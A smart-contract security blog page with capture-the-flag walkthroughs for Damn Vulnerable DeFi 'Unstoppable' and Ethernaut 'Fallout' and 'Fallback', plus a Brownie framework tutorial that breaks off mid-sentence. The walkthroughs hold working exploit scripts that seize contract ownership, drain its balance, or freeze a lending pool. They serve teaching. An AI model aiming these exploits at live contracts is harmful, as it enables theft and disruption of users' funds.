0b Blog

Damn Vulnerable DeFi Solution 1: Unstoppable

Sun, 08 May 2022 12:00:00 GMT

In this series of articles we are going to make a walkthrough of the famous CTF Damn Vulnerable Defi, created by one of the top auditors of OpenZeppelin,

My goal with this series of articles is to show you, not only the solution but also what was my process to reach that solution, also explain basic and advanced topics of blockchain development, Defi, EVM…

Our approach will be the same as we were doing in the ethernaut series, we are going to describe the contracts and some concepts that you may not be familiar with, explain how we can hack the contract and hack the contract.

Ready?

To set up the development environment you can go to the Damn Vulnerable Defi web and follow the instructions to download the code and start hacking.

Let's start with our first Challenge: Unstoppable

The challenge

There's a lending pool with a million DVT tokens in balance, offering flash loans for free. If only there was a way to attack and stop the pool from offering flash loans … You start with 100 DVT tokens in balance.

Let's first understand a couple of concepts, Lending Pool and Flash loans

Explaining some concepts

Lending pools

In the world of decentralized finance, Lending pools act as accounts in where any user who wants to lend their money, can deposit it in that account for any other user who wants to borrow some money. That's the reason why they are called pools, because many users can lend money (lenders) in a single account to make a pool of money for any other user who wants to borrow from (borrowers). These accounts are smart contracts. Of course, the idea is much more complex than that, but let's keep it simple.

To be able to borrow money from a lending pool we have to provide some kind of collateral, this is to maintain the liquidity in the pool The most “basic” way is by providing over-collateralization to borrow some money. Example

Let's say we have a pool in which users can lend DAI, for any other user who wants to borrow DAI from the pool they have to provide 110% in any other currency as collateral.

E.g: If I want to borrow 100 DAI I have to provide 110 ETH as collateral.

Of course, protocols use different types of mechanisms to maintain liquidity, this is just the most simple example.

Flash loans

Well, flash loans allow us to borrow some money but without providing any kind of collateral, WHAT? Free money??

Yeah, kinda, but why?

This is thanks to smart contract technology, to be able to do a flash loan we have to return the same amount that we borrow in the same block transaction.

Remember, when smart contracts call a function of other smart contracts they do not execute another transaction, they only pass a message within them in the same transaction. You can read more about that here

But, why do I want to borrow money to return it immediately? Well, the most common example is to do ”arbitrage”

Let's say Token A is in DEX A at 10 ETH but that same Token A is in DEX B at 11 ETH, you can buy Token A in DEX A at 10 ETH and then sell it in DEX B for 11ETH, and bum!!! PROFIT.

![stonks-2286073.jpg](https://cdn.hashnode.com/res/hashnode/image/upload/v1652045914789/s8UzkFvE_.jpg align="left")

Of course, you have to take into account the fees, gas and interest of both dexes to be able to successfully execute the flash loan.

Now,

Let's take a look at the contracts.

ReceiverUnstoppable.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

We have a function receiveTokens that receives the address of a Token (an ERC20) and an amount.

It evaluates whether the caller of the function is the smart contract referenced in the pool variable,. If not, it’ll revert the transaction

Then, it transfers the amount that we introduce as a parameter to the lending pool contract, if the transaction fails, it will revert.

The other function is executeFlashLoan that receives an amount as a parameter and requires that only the owner of the contract, who is set during the deployment of the contract, can call it.

Then it will active the flashLoan function of the pool contract

UnstoppableLender.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

We have a depositTokens function that allows us to provide liquidity to the pool, to lend some Damn Vulnerable Token, it uses the transferFrom function of the ERC20 interface to transfer tokens from our balance to the balance of the contract and updates the poolBalance state variable adding the amount of tokens we transferred.

Then, we have a flashLoan function, that receives a uint256 as a parameter, this is the amount we want to borrow.

It checks what is the current balance of the tokens that this contract has in the DVT tokens, stores it in a local variable balanceBefore and It requires that the pool have enough tokens for us to borrow, if not it reverts.

Then it asserts that the poolBalace storage variable is equal to the balanceBefore

Iit transfer to us the amount we want to borrow, to do whatever operations we want

Calls the receiveTokens function of the UnstoppableReceiver contract

It checks again the current balance of tokens of the contract in the DVT smart contract and stores it in a variable balanceAfter

And finally checks whether balanceAfter >= balanceBefore, to assert that all the liquidity borrowed was returned.

Let's think

Ok, since we have to stop the flash loan function, there has to be some storage variable we can modify to revert all the calls made to the function, or at least some change we can make in the contract that allows us to modify its behavior forever. And what are those errors that can revert and stop smart contracts during execution? Of course, we can run out of gas, but that problem can be solved by putting more gas into the transaction. I’m referring to those specific lines of code that can revert transactions based on some parameters… exactly, the require , asserts, and if throw statements. So, let's check those…

In the depositTokens function there isn't an error or bug we can exploit to stop the flash loan, since only increments the balance of the contract

In the flashLoan function there are 3 points to which the contract can revert.

The first one, checks if the amount passed as a parameter is greater than zero, this is the most basic prevention you have to add when you are receiving tokens; so we can’t exploit it

require(amount > 0, "Must deposit at least one token");

The last require statement checks if all the money borrowed was returned successfully, the variables it checks are available only during the execution of the function since those are memory variables. So, at least we can modify those variables during the execution of the function to cause an error, every time someone calls it, there is nothing to do there.

With the assert statement, something is interesting;

assert(poolBalance == balanceBefore);

It checks if poolBalance and balanceBefore are equal.

If we see, poolBalance always updates when someone execute the depositToken function, it tracks internally how many DVTs the contract has.

But, balanceBefore is a memory variable that is set during the execution of flashLoan and it checks, not the internal amount of tokens that this contract has, but the number of tokens that the address of this contract has in the ERC20 DVT contract.

Is there a condition - escenario in where those variables can differ

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));

Remember that the specification of every ERC20 contract must have a mapping that tracks how many tokens a specific account has.

You got it?, exactly,** we have to find a way to increment our balance directly in the DVT ERC20 smart contract** Since we are not calling the depositToken function, poolBalance wouldn't be updated, but since we are updating our balance in the DVT contract our balance in that contract will update and the assertion will no longer be true.

Lets hack the contract

HEY, try to hack the contract on your own, it's better to have hands-on experience by yourself.

Remember we have to code our solutions in the provided .challenge.js files (inside each challenge's folder in the test folder)

First, we have to execute a function that allows us to increment our DVT token balance in the DVT token contract. The transfer function will allow us to do that, every ERC20 smart contract must have a transfer function.

Since we were given 100 DVT (in the attacker address) tokens at the beginning, we can just transfer those to the UnstoppableLender smart contract.

await this.token.connect(attacker)
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);

In the first line of code, we are just telling hardhat, that we want to interact with the DVT smart contract using the attacker address

In the second line of code, we are effectively transferring all our tokens to the UnstoppableLender contract. Using the transfer function which receives the address we want to send the tokens and the number of tokens we want to send

That's it.

Now just run

$ yarn hardhat test test/unstoppable/unstoppable.challenge.js

Done

That's all folks…

You can see the complete solution in this GitHub repo

If you have any comments or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.

You can follow me on my Twitter @0bkevin and DM me, I’m always happy to talk and get to know more people in this amazing community.

Stay tuned for the next Damn Vulnerable Token solution: Naive receiver

Ethernaut solution 2: Fallout

Sat, 02 Jul 2022 12:00:00 GMT

This second challenge shows us how a simple typo error can be a great mistake that ruins all.

Let's solve it.

First, let's take a look into the code, we are not going to deep dive into all the code of the contract since this is just a typo error, and we only need just one function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Remember in our previous post, when I said that the solidity constructor used to be named the same as the contract name declaration.

Example:

// SPDX-License-Identifier: MIT
Pragma solidity 0.4.0;

  contract MyIncredibleAndAwesomeContractWeb3FuckingAmazingMetaverse {
    
    Address owner;
    Uint whatever;
    
  function MyIncredibleAndAwesomeContractWeb3FuckingAmazingMetaverse {
 
  	Owner = msg.sender
  	Whatever = msg.value
  }
  //other functions….
}

Since version 0.5.0 of solidity constructors now have to be defined by the constructor keyword offered by solidity

You can read more here.

So, if a constructor, in olders versions of solidity, must have the same name as the contract, what would happens if we commit a typo in the declaration of the constructor, that mismatch the current name of the contract? :hushed:

What would happen if that constructor will be now a ordinary, dumb, and boring function, that we can call whenever we want? And if that ordinary, dumb, and boring function have the ability to declare ourselves as the new owner of the contract?. :frowning:

That is just what happened with this contract.

Did you see it?

Now?

What about now?

Heh :v

Exactly, there is a typo in the constructor declaration = Fallout → Fal1out

And results, that function declares as owner whoever who calls it. :smiling_imp:

Well, since we just have to take the ownership of the contract, we just have to call the misspelling construction function of the contract, to steal the ownership.

Let's do it

We are going to use brownie, so let's create our brownie project.

brownie init

If you don't know how to use brownie, you can check this article written by me :bowtie:

First, we need the basics to interact with that contract:

Its ab
Its address

Let's create our interface, to be able to grab the abi, in the folder interfaces create a new file and write this:

pragma solidity ^0.6.0;

interface IFallout {
    function Fal1out() external payable;
}

Since we are only using one function Fal1back , that's the only one that we have to put in the interface declaration.

Okay, now, let's grab the instance address, in the browser console you can see it writing: instance.

Okay, now lets create a script to hack the contract, in our scripts folder lets create a new file

hack.py

Let's make the necessary imports

from brownie import interface, accounts, config

Let's grab our account and store the instance contract address

from brownie import interface, accounts, config

INSTANCE_ADDRESS = "0xfaAB33fe1AbD3770E225De9FdC9588C98F573f68"
ACCOUNT = accounts.add(config["wallets"]["from_key"])

And lets make our function to hack the contract.


def hack():
    instance_contract = interface.IFallout(INSTANCE_ADDRESS)
    instance_contract.Fal1out(
      {"from": ACCOUNT, "value": 0.000000000000000001}
    )
    print(
      f"Contract has been hacked. The new owner now is {instance_contract.owner()}"
    )

def main():
    hack()

We just have to grab the contract object using the interface method provided by brownie, and then call Fal1out

This would give us the ownership of the contract.

Let's run this

$ brownie run scripts/hack.py --network rinkeby

That's it.

Now, let's submit the instance to the ethernaut contract.

We need the ABI and the address of the ethernaut contract.

To grab the address just put ethernaut.address in the browser console.

Store the address in a variable

And to grab the abi just grab it from the ethernaut contract object that is in the browser console.

Write ethernaut in the browser console.

And paste it in your file

Remember to change the true and false statement, to add the capital letter True False

Let's make a function to submit the contract.

def submit_the_contract():
  
    ethernaut_contract = Contract.from_abi(
      "Ethernaut",
      ETHERNAUT_CONTRACT_ADDRESS, 
      ETHERNAUT_ABI)
    print("Submiting instance")
    
    ethernaut_contract.submitLevelInstance(
      INSTANCE_ADDRESS, {"from": ACCOUNT}
    )
    print("Instance submitted. Level passed. WOHOOO!")
    print("refresh the page of ethernaut")


def main():
    submit_the_contract()

First grab the contract object using the Contract.from_abi() method of brownie.

After that, we just need to call the submitLevelInstance Method to submit your instance, passing as arguments the current instance level

brownie run scripts/submit_contract.py --network rinkeby

And, that's it. We just completed the second challenge. :stuck_out_tongue_closed_eyes:

You can grab the complete solution in this github repo

If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.

You can follow me on my twitter @0bkevin and DM me, I'm always happy to talk and know more people in this amazing community

Stay tuned for the next Ethernaut solution: Coin Flip

Ethernaut solution 1: Fallback

Sun, 01 Oct 2023 12:00:00 GMT

Smart contracts are just a great revolution in the terms of how we write and interact with code and platforms worldwide,** but with new technologies also comes a lot of new issues that we have to be aware of if we don’t want malicious people hack our code.**

That’s the purpose of this capture the flag (CTF): Ethernaut, created by the Open Zeppelin team,** it’s a really funny CTF in where we can learn about all the bugs or failures that the people made in the past writing solidity code**, so we don’t repeat them, in a very enjoyable and hands on code way.

I’m going to make this walkthrough through all the Ethernauts problems and see how we can solve them and what are the things we should avoid to not commit these same errors again.

And, we are going to use different smart contract frameworks, because all the solutions are going to be written programmatically, not by using the interactive browser console that the guys at Open Zeppelin give to us, so we just can learn the main frameworks that the industry is using to write smart contracts (Brownie, Truffle and Hardhat)

First, you need some previous knowledge to be able to follow me:

Okay, let’s start with the first contract: Fallback

Walkthrough through the code.

First, let’s take a look into the contract code.

Ethernaut 1: Fallback

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

In the contract declaration we can see that the fallback contract inherits from the Ownable contract, wich is just a contract that allows us to use the onlyOwner modifier, which is a modifier that allows only the owner of the contract to excecute the functions in where the modifier is used.

The first line of code we see is just the use of the Open Zeppelin library: safe math this is a library that allows us to make maths without worrying about arithmetic overflow and underflow.

using SafeMath for uint256;

Variables.

First, we have two state variables, which mean that data is permanent stored on the BlockChain. contributions and owner.

contributions being a mapping that stores the addresses of the people alongside with the contributions that they had made, it’s like a dictionary in python or a hash table.

For example, it’s the same as.

contributions = {
    myAddress:{
        "uint": 0.1 ETH
    }
}

And owner being the current address who owns the contract, this is setted during the deployment of the contract in the constructor.

The constructor.

In previous versions of solidity, the constructor used to be named the same as the contract, so be aware if you are working with previous version of solidity.

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

This is a function that only can be called once, and it’s during the deployment process, its completely optional.

This constructor sets the owner of the contract to whoever address deployed the contract, by using this special keyword in solidity called msg.sender (with this we can reference the account who is calling the function, in this case who is deploying the contract).

You can read more about the msg.sender keyword in the solidity documentation.

And then, sets an initial contribution of 1000 ETH from the owner, that is stored in the contribution mapping when the contract is deployed.

Modifiers.

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

Then we have this modifier which only allows the owner of the contract (who has been previously settled in the constructor) to call the function in which this modifier is used, in this case, the withdraw function.

If you want to read more about modifiers, you can do it here

Functions.

Our first function: contribute

 function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

The first statement we can see in the function’s body

require(msg.value < 0.001 ether);

Is like an if statement that checks if the value that is send during that transaction (msg.sender) is minor than a certain value (0.001 ETH).

If it’s true, the execution of the function will continue; if its false the function will throw and exception, causing the whole executions of the function to stop and revert.

You can read more about Solidity’s require and assert statements here.

Then, you have an update of the contributions mapping adding the address who call this function with the value that was send in during the function call + the value that the already have, if so.

contributions[msg.sender] += msg.value;

And finally, we have a conditional statement that checks if the value given by the current caller of the function is greater than the value given by the owner of the contract during the deployment process, if that is true the current caller of the function now converts into the new owner of the contract.

 if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }

We could use this function to stole the ownership of the contract, but it will take us tooo long because of the require statement.

Following, we have the getContributions function.

 function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

Which only returns the total value of the total contributions made by whoever is calling this function, if there are any.

Then we have the withdraw function, which have a modifier, the onlyOwner Modifier

 function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

Like we already discuss, with the onlyOwner modifier this function can only be called by whoever address is stored in the owner state variable, if someone else calls this function, the execution will fail.

The only one statement that this function has allows the current owner of the contract to “transfer” (which is a special function that all addresses type have to allow to transfer a certain amount of wei to the address passed as a parameter.) **all the balance that this contract have to that address **(the address of whoever is stored in the owner state variable)

You can see other methods for transfer eth here in the solidity docs.

this.balance references the current balance (in Wei) of the contract.

That means that at any time, the owner of the contract can call this function and transfer to his/her address the whole balance of the contract.

Finally, we have this receive function

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

This is a special function in solidity that allows us to send money to the contract.

The receive function is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g., via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.

From the solidity documentation.

But wait, what is calldata. When we make an ethereum transaction to call an specific contract function there’s a field called data in where is specified the signature of function to be executed with his necessary parameters.

The data sending to this transaction (using metamask). In these case is a function call which receive a parameter (an address)

Now, what if we just only wanted to send some ether to the contract, without calling a function? No functions, no arguments, which means an empty ‘data’ field in the transaction. That’s the purpose of the receive function.

That function have a require statement that basically says

your account address needed to have donated Ether to this contract in the past.
and, the function call needs to contain some Ether value.

If those conditions are meant, we can now be the owners of the contract.

Also, we have another function to receive ether in smart contract, and this function can have calldata (we are going to use this in another ethernaut problem, ;))

The fallback function

The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.

You can read more about those special functions in the solidity documentation

Okay now, that we had seen all the contract structure** is time to get our hands dirty and hack this.**

Hacking

What do we have to do?

Claim the ownership of the contract
Reduce its balance(of the contract) to 0

Start your brownie project

$ brownie init

Claiming the ownership of the contract.

For that we just see a function that allows us to make this happen, the receive function.

But, to be able to call this function we must send a value higher than cero during the function call and we need to contributed to the contract before we can call this function.

So we just have to contribute first

Contributing.

We have to call the contribute function.

So, to be able to do that we need a way to interact with the contract programmatically If you don’t know, to be able to interact with a contract we need:

Its ABI (Application Binary interface)
The contract address in where that contract was deployed

There are different ways to grab the ABI of a contract, in this case we are using an interface, we just need to write the function that we are going to interact with inside the interface declaration.

Let’s create the interface.

After we init our brownie project, in the interface directory lets create an interface that help us to interact with the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


interface Fallback {
    function contribute() external payable;
    function withdraw() external;
}

We just only need this two functions, so is pretty straight forward.

When solidity compiled this, we are going to have a reduced version of the ABI of the contract, with only the instructions to call those functions.

Then, let’s grab the contract address of that instance.

You can just put "instance" in the browser console and it’s going to appear.

Now, let’s write some code!.

You can create a new file in the scripts directory. I’m going to call this hacking.py

Contribute function

from brownie import interface, config, accounts
from web3 import Web3


def contribute():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)

    contribute_tx = fallback_contract.contribute(
        {
         "from": ACCOUNT, 
         "value": Web3.toWei(0.00002, "ether"), 
         "gas_limit": 50000
        }
    )
    contribute_tx.wait(1)
    print("Contribution made")

First, we are going to grab the contract object to be able to interact with the contract

fallback_contract = interface.Fallback(CONTRACT_ADDRESS)

By using the interface object provided by brownie, and using our current interface that we just wrote (Fallback) we can pass the address of the contract CONTRACT_ADDRESS, Which is a variable that stores the address of the instance that we are using, to be able to interact with the contract.

Then, using that contract object, we can call the method contribute

contribute_tx = fallback_contract.contribute(
    {"from": ACCOUNT, "value": Web3.toWei(0.00002, "ether"), "gas_limit": 50000}
)

You now might be asking: why we are passing an object as an argument to contribute, when it actually does not take any arguments at all (according to its definition in Fallback contract)? . Well, to make a transaction with brownie (those which change the current state of ethereum),** we must specified who is sending that transaction** (the “from” value), this is known as the transactions parameters, you could put more parameters to make the transaction more specificly according to your needs.

You can read more about the transaction parameters here.

In those transaction parameters we also have the value parameter, which allows us to send money (ETH) to the smart contract, in this case we are sending 0.00001, formatting the number using the toWei function provided by web3.py

When we call a function of a smart contract in brownie, that function is going to return us a transaction object which we can inspect or interact later, that’s why I’m storing that transaction in a variable, and also to be able to make the transaction wait for one block for confirmation.

contribute_tx.wait(1)

Now, let’s call the receive function.

Activating the receive function.

def hack():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
    print(Contract)
    tx = ACCOUNT.transfer(
      fallback_contract.address, 
      Web3.toWei(0.000002, "ether")
    )
    tx.wait(1)
    print("Ownability stolen")

Copying the same first statement of our contribute function, to grab the contract object.

fallback_contract = interface.Fallback(CONTRACT_ADDRESS)

We can make a transaction to a smart contract without any parameters by using the special function provided by the account type in brownie: transfer

In which we specified:

the address which we are going to send money, in this case the Fallback smart contract:
and the amount of money that we want to send

tx = ACCOUNT.transfer(
      fallback_contract.address, 
      Web3.toWei(0.000002, "ether")
    )

And we already see how a receive function works,** so it’s going to activate whenever a EOA** (Externally owned Account) makes a transaction to the address of the smart contract without passing any function signatures.

And we wait one block for the confirmation of the transaction.

tx.wait(1)

Finally, lets withdraw all the money from the contract

Reduce the balance of the contract to 0

def withdraw_all():
    fallback_contract = interface.Fallback(CONTRACT_ADDRESS)
    print("Withdrawing the funds")
    tx = fallback_contract.withdraw({"from": ACCOUNT})
    print("All the money is withdrow")
    print("The contract has been hacked")

If we do all the steps correctly we should be able to call all this withdraw function without problem, let’s do it.

Invoking the functions.

I’m invoking all my function in the main() entry point.

def main():
    contribute()
    hack()
    withdraw_all()

Now, in the console let's run our script.

$ brownie run scripts/hacking.py –network rinkeby

We are specifying the rinkeby network because all the instance of the Ethernaut CTF are deployed in Rinkeby.

We should have an log like this:

We made 3 transaction:

Calling the contribute method
Making a simple transaction to the contract so we can invoke the receive function
Calling the withdraw method

And now our first contract is hacked, congratulations! :sunglasses: :tada:

We do everything right, so let’s submit the instance!, programmatically of course :smirk:

Submitting the instance

If you see all the output of the browser console there is a contract called Ethernaut, which is the main contract that allows us to create new instances and submit those ones.

You can call help() to see all the different things you can do.

Now, if put in the browser console ethernaut we can see all the diferents objects that that contract object have.

This is just a truffle contract object that the open zeppelin give us to interact with, the same for all the different instance that the CTF have.

We can see in the methods object, that there is a method called submitLevelInstance(), that’s the method we wanna call

We can obtain the contract object By using the Contract.from_abi() method, which is a way from brownie to obtain the contract object based on its ABI.

As always, we need 2 things, the ABI of the contract and its address

We just have to pass as a parameters:

The name of the contract
The address of the contract
And the abi of the contract

We can obtain the ABI of the contract in the browser console in the same ethernaut object.

We can store that object in a variable. When we paste the object in our code we are going to obtain something like this:

Since we are using python and not JS **we have to change those true and false keywords to match with the python syntax. **You just have to put those as capital (True, False)

And that’s it, we have the Ethernaut contract object to interact with.

Let’s create the code.

def submit_the_contract():
    ethernaut_contract = Contract.from_abi(
      "Ethernaut",ETHERNAUT_CONTRACT_ADDRESS, ethernaut_abi
    )
    print("Submiting instance")
    ethernaut_contract.submitLevelInstance(
      CONTRACT_ADDRESS, {"from": ACCOUNT}
    )
    print("Instance submitted. Level passed. WOHOOO!")
    print("refresh the page of ethernaut")


def main():
    submit_the_contract()

We just need to call the submitLevelInstance function of the Ethernaut contract, which only takes one parameter: the address of the current instance

Let’s try this out.

brownie run scripts/submi_contract.py —network rinkeby

And you just have a log like this:

And yeah, it’s done!

You can grab the complete solution in this github repo.

If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.

You can follow me on my twitter @0bkevin and DM me, I’m always happy to talk and know more people in this amazing community.

Stay tuned for the next Ethernaut solution: Fallout.

Brownie: everything you need to know to write, test and deploy your smart contracts.

Sun, 01 Oct 2023 12:00:00 GMT

Actually, Brownie is one of the most popular frameworks to create smart contracts, alongside truffle and hardhat.

Brownie offers a lot of cool things and functionalities you can use to make your development process more simple.

So, whether you're starting your journey as a blockchain developer, or you already have experience with smart contract development in Javascript but you want to shift to python, this tutorial is for you.

We’ll walk through and explore all the main areas of functionality and I'll give you some tricks you can use to make your development process more easy.

Let's start!

How to install brownie

There are two easy ways in which you can install brownie:

1s. By using pipx

pipx is just a like pip, but you can install those packages and run it directly in the command line

Is focused on installing and managing Python packages that can be run from the command line directly as applications.

Whereas pip is a general-purpose package installer for both libraries and apps with no environment isolation. pipx is made specifically for application installation, as it adds isolation yet still makes the apps available in your shell: pipx creates an isolated environment for each application and its associated packages.

From the pipx documentation.

That means, you don't have to create a python virtual environment when a package needed it.

I recommend using this method, if so,you just can follow along the tutorial in the brownie documentation here.

2s. Using the common python pip

To be able to install brownie without pipx, you first need to create a virtual environment.

A virtual environment in python is a contained environment for separate projects on your computer 🐍. What this means is that you can have separate virtual environments with separate versions of python and python packages for each of your projects.

You can create one just by typing:

$ python3 -m venv <path + name of your virtual environment>

Example:

$ python -m venv ./myVirtualEnviroment

After the creation process is done, you will need to activate the virtual environment:

$ source myVirtualEnviroment/bin/activate

$ source myVirtualEnviroment/Scripts/activate

And then, you just need to write:

$ pip install eth-brownie

With that you'll be able to use brownie.

Take into account that this only will work in the current directory, if you change from directory you will need to create and activate a virtual environment again. Also, if you close your current session of the command line and you want to work with the project again you will need to activate the virtual environment again.

To make sure that everything works fine, in both scenarios, write

$ brownie

If you need more information about the installation process of Brownie, you can follow this tutorial made by Ben Hauser on Medium

Also, you can follow the brownie documentation

Brownie basics

I'm not going to dive deep into the basics of brownie, for that the brownie team wrote an excellent documentation that you can check here.

Also, you can read these greats tutorial made by Ben Hauser, tutorial one, tutorial two.

I'm just going to make you a resume:

Initialized templates for projects, so you don't have to start from scratch.

$ brownie bake <name of the template>
Compile your contracts

$ brownie compile
Write test for your contracts. Writing the test in the test folder and typing

$ brownie test
Can also interact with the contract using scripts or via the brownie console.

In the scripts folder you can write your scripts to interact with the contract programmatically, and then you write:

$ brownie run scripts

Or, using the console you can interact with the contract manually.

$ brownie console
Deploy your contracts in a controlled environment (using ganache under the hood)

$ brownie deploy
And also deploy to a testnet or a real net

$ brownie deploy --network <name of the network>

You also can do this when you are testing your contracts.

$ brownie test --network <name of the network>

Or runing your scripts

$ brownie run scripts --network <name of the network>
if you need any extra information about a brownie CLI command you can always type:

$ brownie --help

The brownie config file

This is a special file that brownie always looks for to grab information when you are going to build, test and deploy your contract…

This file allows you to modify Brownie’s default behaviors and also add new sections that can be useful for you when you are working in your smart contract.

I'm not going to deep dive in all the sections that the file have, you could see those in the brownie documentation.

I'm just going to explain some things that could be useful for you.

You need to add this file to the root of your project and name it brownie-config.yaml

One of the things you can do is:

Remapping import paths.

Let's say that your contract need to use some functionality from other contract, like a template or a library (the safe math library or the ERC721 standard template of Open Zeppelin for example)

You can do that without copying the contract interface to your project, you can just pull the source code from the npm package that hosts the code.

Example, let's said that you need to import the Open Zeppelin contract Ownable.

For this you'll need to install the open zeppelin npm package, but with remappings you don't need it.

Just import the package as usual in your solidity file.


import "@openzeppelin/contracts/ownership/Ownable.sol";

And then, in your brownie-config.yaml file, you can use one of it's default sections called compiler to change it's behavior.

In this section you add a subsection called solc.
And in this subsection you add another subsection called remappings.

You should have something like this:

compiler: solc: remappings:

Each value under remappings is a string in the format of prefix=path.

A remapping instructs the compiler to search for a given prefix at a specific path.

For example:

github.com/ethereum/dapp-bin/=/usr/local/lib/dapp-bin/

This remapping instructs the compiler to search for anything starting with github.com/ethereum/dapp-bin/ under /usr/local/lib/dapp-bin.

Brownie automatically ensures that all remapped paths are allowed.

And now, if we want to use our Open Zeppelin ownable contract, we just need to follow that prefix=path format.

By having a prefix

@openzeppelin

And then, having the path that rute us to the open zeppelin package in NPM, that is usually stored on GitHub.

We can obtain that searching by googling open zeppelin ownable contract

And we can use this information to make the path, should be wrote in this format: <organization/repo>@

First, we need to add the organization, that means the username who create the repo. In this case:

OpenZeppelin

Then we need to add the github repo in which is store the code. In this case

openzeppelin-contracts

We would have something like this for the path

OpenZeppelin/openzeppelin-contracts

And finally, we need to add the package version we want to work with.

In the root of the repo we can see all the releases (the versions).

By pressing in releases you can see all the different versions you can use, this is going to depend mostly of the specifications of the project you are working on, but you can really chose whatever you want.

You need to add the version by adding an “@” at the beginning.

Example

Working with version 4.4.1:

OpenZeppelin/openzeppelin-contracts@4.4.1
Or version 4.3.1

OpenZeppelin/openzeppelin-contracts@4.3.1

That's it, now in your remappings section you should have something like this:

compiler: solc: remappings: - '@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.3.1'

Now, everytime the compiler see @openzeppelin in your solidity code, will search that import under the OpenZeppelin/openzeppelin-contracts@4.3.1 github repo, so you don't need to install anything.

So, with this:

import "@openzeppelin/contracts/ownership/Ownable.sol";

